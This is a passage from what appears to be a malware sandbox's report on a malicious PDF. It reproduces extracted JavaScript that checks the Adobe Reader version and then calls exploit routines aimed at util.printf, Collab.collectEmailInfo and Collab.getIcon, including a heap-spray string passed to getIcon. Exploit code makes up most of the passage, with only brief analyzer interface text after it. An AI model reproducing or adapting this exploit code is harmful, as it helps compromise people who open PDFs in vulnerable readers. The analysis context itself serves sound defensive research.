vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 13

Related samples 8

Extracted artifacts 2